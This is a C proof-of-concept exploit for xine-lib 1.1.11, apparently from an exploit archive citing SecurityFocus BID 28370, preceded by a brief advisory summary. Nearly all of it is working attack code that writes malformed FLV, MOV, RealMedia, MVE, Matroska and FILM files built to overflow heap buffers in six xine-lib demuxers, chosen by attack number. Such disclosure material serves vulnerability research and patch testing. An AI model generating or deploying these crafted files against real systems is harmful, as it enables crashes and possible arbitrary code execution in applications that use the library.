// source: https://www.securityfocus.com/bid/28370/info The 'xine-lib' library is prone to multiple heap-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied input. Attackers can exploit these issues to execute arbitrary code in the context of applications that use the library. Failed attacks will cause denial-of-service conditions. These issues affect xine-lib 1.1.11; other versions may also be affected. /* by Luigi Auriemma */ #include #include #include #include typedef uint8_t u8; typedef uint16_t u16; typedef uint32_t u32; typedef int64_t i64; typedef uint64_t u64; #define VER "0.1" #define BUFFSZ 0xffff #define BE_FOURCC( ch0, ch1, ch2, ch3 ) \ ( (uint32_t)(unsigned char)(ch3) | \ ( (uint32_t)(unsigned char)(ch2) << 8 ) | \ ( (uint32_t)(unsigned char)(ch1) << 16 ) | \ ( (uint32_t)(unsigned char)(ch0) << 24 ) ) #define FLV_FLAG_HAS_VIDEO 0x01 #define FLV_FLAG_HAS_AUDIO 0x04 #define FLV_TAG_TYPE_SCRIPT 0x12 #define FLV_DATA_TYPE_NUMBER 0x00 #define FLV_DATA_TYPE_OBJECT 0x03 #define FLV_DATA_TYPE_ENDOBJECT 0x09 #define FLV_DATA_TYPE_ARRAY 0x0a #define MOOV_ATOM BE_FOURCC('m', 'o', 'o', 'v') #define RMRA_ATOM BE_FOURCC('r', 'm', 'r', 'a') #define RDRF_ATOM BE_FOURCC('r', 'd', 'r', 'f') #define RMF_TAG BE_FOURCC('.', 'R', 'M', 'F') #define PROP_TAG BE_FOURCC('P', 'R', 'O', 'P') #define MDPR_TAG BE_FOURCC('M', 'D', 'P', 'R') #define DATA_TAG BE_FOURCC('D', 'A', 'T', 'A') #define INDX_TAG BE_FOURCC('I', 'N', 'D', 'X') #define VIDO_TAG BE_FOURCC('V', 'I', 'D', 'O') #define DATA_CHUNK_HEADER_SIZE 10 #define FORM_TAG BE_FOURCC('F', 'O', 'R', 'M') #define MOVE_TAG BE_FOURCC('M', 'O', 'V', 'E') #define PC_TAG BE_FOURCC('_', 'P', 'C', '_') #define PALT_TAG BE_FOURCC('P', 'A', 'L', 'T') #define PALETTE_SIZE 256 #define PALETTE_CHUNK_SIZE (PALETTE_SIZE * 3) #define EBML_ID_EBML 0x1A45DFA3 #define EBML_ID_DOCTYPE 0x4282 #define GST_EBML_SIZE_UNKNOWN 0x00ffffffffffffffULL #define GST_EBML_ID_VOID 0xEC #define FILM_TAG BE_FOURCC('F', 'I', 'L', 'M') #define STAB_TAG BE_FOURCC('S', 'T', 'A', 'B') int gst_ebml_write_element_id(u8 *data, u32 id); // from Gstreamer int gst_ebml_write_element_size(u8 *data, i64 size); // from Gstreamer int putcc(u8 *data, int chr, int len); int putss(u8 *data, u8 *str); int putxb(u8 *data, u64 num, int bits); int putxi(u8 *data, u64 num, int bits); void std_err(void); int main(int argc, char *argv[]) { FILE *fd; int i, attack; u8 *buff, *fname, *psize, *p; setbuf(stdout, NULL); fputs("\n" "xine-lib <= 1.1.11 multiple heap overflows "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: aluigi.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s \n" "\n" "Attacks:\n" " 1 = heap overflow in demux_flv (file.FLV)\n" " 2 = heap overflow in demux_qt (file.MOV)\n" " 3 = heap overflow in demux_real (file.RM)\n" " 4 = heap overflow in demux_wc3movie (file.MVE)\n" " 5 = heap overflow in ebml.c (file.MKV)\n" " 6 = heap overflow in demux_film.c (file.CAK)\n" "\n", argv[0]); exit(1); } attack = atoi(argv[1]); fname = argv[2]; buff = malloc(BUFFSZ); if(!buff) std_err(); p = buff; if(attack == 1) { p += putss(p, "FLV\x01"); *p++ = FLV_FLAG_HAS_VIDEO | FLV_FLAG_HAS_AUDIO; p += putxb(p, 9, 32); p += putxb(p, 0, 32); p += putxb(p, FLV_TAG_TYPE_SCRIPT, 8); // tag_type psize = p; p += 3; p += putxb(p, 0, 32); // pts p += putxb(p, 0, 24); p += putxb(p, FLV_DATA_TYPE_OBJECT, 8); p += putxb(p, 13, 16); p += putss(p, "filepositions"); p += putxb(p, FLV_DATA_TYPE_ARRAY, 8); p += putxb(p, 0x20000000, 32); for(i = 0; i < 4000; i++) { p += putxb(p, FLV_DATA_TYPE_NUMBER, 8); p += putxb(p, 0x4141414141414141ULL, 64); } p += putxb(p, FLV_DATA_TYPE_ENDOBJECT, 8); // useless putxb(psize, p - (psize + 3 + 4 + 3), 24); } else if(attack == 2) { p += putxb(p, 8000 - 24, 32); p += putxb(p, MOOV_ATOM, 32); p += putxb(p, 8000 - 16, 32); p += putxb(p, RMRA_ATOM, 32); p += putxb(p, 8000 - 8, 32); p += putxb(p, RDRF_ATOM, 32); p += putxb(p, 0, 32); // i + 4 p += putxb(p, 0, 32); // i + 8 p += putxb(p, 0xffffffff, 32); // i + 12 p += putcc(p, 'A', 8000 - 12); } else if(attack == 3) { p += putxb(p, RMF_TAG, 32); p += putxb(p, 8, 32); p += putxb(p, MDPR_TAG, 32); psize = p; p += 4; p += putxb(p, 0, 16); p += putxb(p, 1, 16); // mdpr->stream_number p += putxb(p, 0, 32); // mdpr->max_bit_rate p += putxb(p, 0, 32); // mdpr->avg_bit_rate p += putxb(p, 0, 32); // mdpr->max_packet_size p += putxb(p, 0, 32); // mdpr->avg_packet_size p += putxb(p, 0, 32); // mdpr->start_time p += putxb(p, 0, 32); // mdpr->preroll p += putxb(p, 0, 32); // mdpr->duration p += putxb(p, 0, 8); // mdpr->stream_name_size // mdpr->stream_name p += putxb(p, 0, 8); // mdpr->mime_type_size=data[33+mdpr->stream_name_size]; // mdpr->mime_type p += putxb(p, 8, 32); // mdpr->type_specific_len p += putxb(p, VIDO_TAG, 32); // mdpr->type_specific_data p += putxb(p, VIDO_TAG, 32); // mdpr->type_specific_data putxb(psize, (p - psize) + 4, 32); p += putxb(p, PROP_TAG, 32); psize = p; p += 4; p += putxb(p, 0, 16); p += putxb(p, 0, 32); p += putxb(p, 1, 32); // avg_bitrate p += putxb(p, 0, 32); p += putxb(p, 0, 32); p += putxb(p, 0, 32); p += putxb(p, 0, 32); // this->duration p += putxb(p, 0, 32); p += putxb(p, (p - buff) + 8 + 8 + DATA_CHUNK_HEADER_SIZE, 32); // this->index_start p += putxb(p, 0, 32); // this->data_start putxb(psize, (p - psize) + 4, 32); p += putxb(p, DATA_TAG, 32); psize = p; p += 4; p += putxb(p, 0, 16); p += putxb(p, 0, 32); // this->current_data_chunk_packet_count p += putxb(p, 0, 32); // this->next_data_chunk_offset p += putxb(p, INDX_TAG, 32); p += putxb(p, 0, 32); p += putxb(p, 0, 16); p += putxb(p, 0x15555556, 32); // entries p += putxb(p, 1, 16); // stream_num p += putxb(p, 0, 32); // next_index_chunk for(i = 0; i < 4000; i++) { p += putxb(p, 0x41414141, 32); p += putxb(p, 0x41414141, 32); p += putxb(p, 0x41414141, 32); } putxb(psize, (p - psize) + 4, 32); } else if(attack == 4) { p += putxb(p, FORM_TAG, 32); p += putxb(p, 0, 32); p += putxb(p, MOVE_TAG, 32); p += putxb(p, PC_TAG, 32); p += putxb(p, 0, 32); p += putxb(p, 0, 32); p += putxb(p, 0, 32); p += putxi(p, 0x555556, 32); // this->number_of_shots p += putxb(p, 0, 32); p += putxb(p, 0, 32); p += putxb(p, 0, 32); for(i = 0; i < 80; i++) { p += putxb(p, PALT_TAG, 32); p += putxb(p, PALETTE_CHUNK_SIZE, 32); p += putcc(p, 13, PALETTE_CHUNK_SIZE); // -> 0x48 } } else if(attack == 5) { p += gst_ebml_write_element_id(p, EBML_ID_EBML); p += gst_ebml_write_element_size(p, 8000); // not perfect p += gst_ebml_write_element_id(p, EBML_ID_DOCTYPE); p += gst_ebml_write_element_size(p, 0xffffffff); p += putcc(p, 'A', 8000); } else if(attack == 6) { p += putss(p, "FILM"); p += 4; p += putss(p, "1.09"); p += putxb(p, 0, 32); p += putxb(p, STAB_TAG, 32); psize = p; p += 4; p += putxb(p, 44100, 32); p += putxb(p, 0x71c71c8, 32); // sizeof(film_sample_t) is 36 bytes for(i = 0; i < 3000; i++) { p += putxb(p, 0x41414141, 32); p += putxb(p, 0x41414141, 32); p += putxb(p, 0x41414141, 32); p += putxb(p, 0x41414141, 32); } putxb(psize, (p - psize) - 40, 32); putxb(buff + 4, (p - psize) - 8 - 16, 32); } else { printf("\nError: wrong attack number (%d)\n", attack); exit(1); } printf("- create file %s\n", fname); fd = fopen(fname, "wb"); if(!fd) std_err(); printf("- write %u bytes\n", p - buff); fwrite(buff, 1, p - buff, fd); fclose(fd); printf("- done\n"); return(0); } int gst_ebml_write_element_id(u8 *data, u32 id) { // from Gstreamer int ret, bytes = 4, mask = 0x10; while (!(id & (mask << ((bytes - 1) * 8))) && bytes > 0) { mask <<= 1; bytes--; } if (bytes == 0) { bytes = 1; id = GST_EBML_ID_VOID; } ret = bytes; while (bytes--) { data[bytes] = id & 0xff; id >>= 8; } return(ret); } int gst_ebml_write_element_size(u8 *data, i64 size) { // from Gstreamer int ret, bytes = 1, mask = 0x80; if (size != GST_EBML_SIZE_UNKNOWN) { while ((size >> ((bytes - 1) * 8)) >= (mask - 1) && bytes <= 8) { mask >>= 1; bytes++; } if (bytes > 8) { mask = 0x01; bytes = 8; size = GST_EBML_SIZE_UNKNOWN; } } else { mask = 0x01; bytes = 8; } ret = bytes; while (bytes-- > 0) { data[bytes] = size & 0xff; size >>= 8; if (!bytes) *data |= mask; } return(ret); } int putcc(u8 *data, int chr, int len) { memset(data, chr, len); return(len); } int putss(u8 *data, u8 *str) { int len; len = strlen(str); memcpy(data, str, len); return(len); } int putxb(u8 *data, u64 num, int bits) { int i, bytes; bytes = bits >> 3; for(i = 0; i < bytes; i++) { data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff; } return(bytes); } int putxi(u8 *data, u64 num, int bits) { int i, bytes; bytes = bits >> 3; for(i = 0; i < bytes; i++) { data[i] = (num >> (i << 3)) & 0xff; } return(bytes); } void std_err(void) { perror("\nError"); exit(1); }